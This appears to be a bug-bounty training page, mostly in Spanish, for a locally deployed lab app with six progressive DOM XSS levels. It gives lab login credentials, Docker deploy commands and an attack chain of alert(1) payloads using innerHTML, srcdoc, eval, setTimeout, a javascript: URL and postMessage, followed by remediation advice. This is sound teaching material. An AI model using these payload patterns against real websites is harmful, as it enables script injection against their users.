6 Progressive DOM XSS Challenges
Red social con 6 desafios progresivos de DOM XSS: desde location.hash + innerHTML hasta postMessage + innerHTML, pasando por eval, setTimeout y location.href.
Learn to find this bug
A real bug bounty report, reproduced for you to practice.
Create your account and practice real bugs that got paid. Download the environment, find it and learn the exact technique — your path to your first bounty.
- hunters training
- 650
- labs from real reports
- 50
- completions
- 380
- in bounties practiced
- $200,000
hunters training
labs from real reports
completions
in bounties practiced
Access to all labs · no commitment · cancel anytime
Hunters who solved it· 8
Objectives
Achievement you'll earn
Solve this lab to unlock this shareable achievement
6 Progressive DOM XSS Challenges
Community writeups
Credenciales
| Usuario | Contrasena | Rol |
|---|---|---|
| alice | password123 | user |
Despliegue
# Opcion 1: autodeploy
./autodeploy.sh
# Opcion 2: manual
docker compose up --build
# Acceder
http://localhost:1000
Compatible con macOS, Linux y Windows (Docker Desktop / WSL).
Para parar:
./autodeploy.sh destroy
# o: docker compose down -v
Contenido del Lab
La aplicacion
Chirp con 6 niveles de DOM XSS progresivos.
La vulnerabilidad
Cada nivel usa un source y sink diferente para inyectar XSS en el DOM del cliente sin pasar por el servidor.
Cadena de ataque
Nivel 1: #<img src=x onerror=alert(1)>
Nivel 2: ?data=<script>alert(1)</script> (srcdoc)
Nivel 3: ?expr=alert(1) (eval)\nNivel 4: ?delay=alert(1) (setTimeout)
Nivel 5: ?url=javascript:alert(1) (location)
Nivel 6: postMessage({html:'<img src=x onerror=alert(1)>'})
Solucion interactiva
Accede a /writeup dentro de la aplicacion para una guia paso a paso con botones interactivos.
Flag
(alert ejecutado en cada nivel)
Remediacion
- Nunca usar innerHTML con datos no confiables
- Evitar eval/setTimeout con strings
- Validar origenes en postMessage handlers
- Usar frameworks que escapan por defecto (React JSX)